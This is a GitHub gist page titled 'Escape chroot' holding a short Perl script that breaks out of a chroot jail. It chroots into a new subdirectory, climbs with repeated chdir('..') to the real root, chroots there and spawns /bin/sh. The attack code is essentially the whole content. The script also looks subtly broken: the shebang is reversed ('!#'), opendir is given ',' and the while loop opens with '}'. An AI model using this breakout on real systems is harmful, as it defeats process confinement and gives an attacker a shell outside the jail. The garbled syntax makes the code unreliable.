Created
January 12, 2015 18:18
-
-
Save rothgar/5136a26baf13b977570f to your computer and use it in GitHub Desktop.
Escape chroot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!#/usr/bin/perl -w | |
chdir "/"; opendir JAILROOT, ","; | |
mkdir "subdir"; chdir "subdir"; | |
chroot "."; chdir(*JAILROOT); | |
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) } | |
chdir ".."; | |
} | |
chroot "."; | |
system("/bin/sh"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment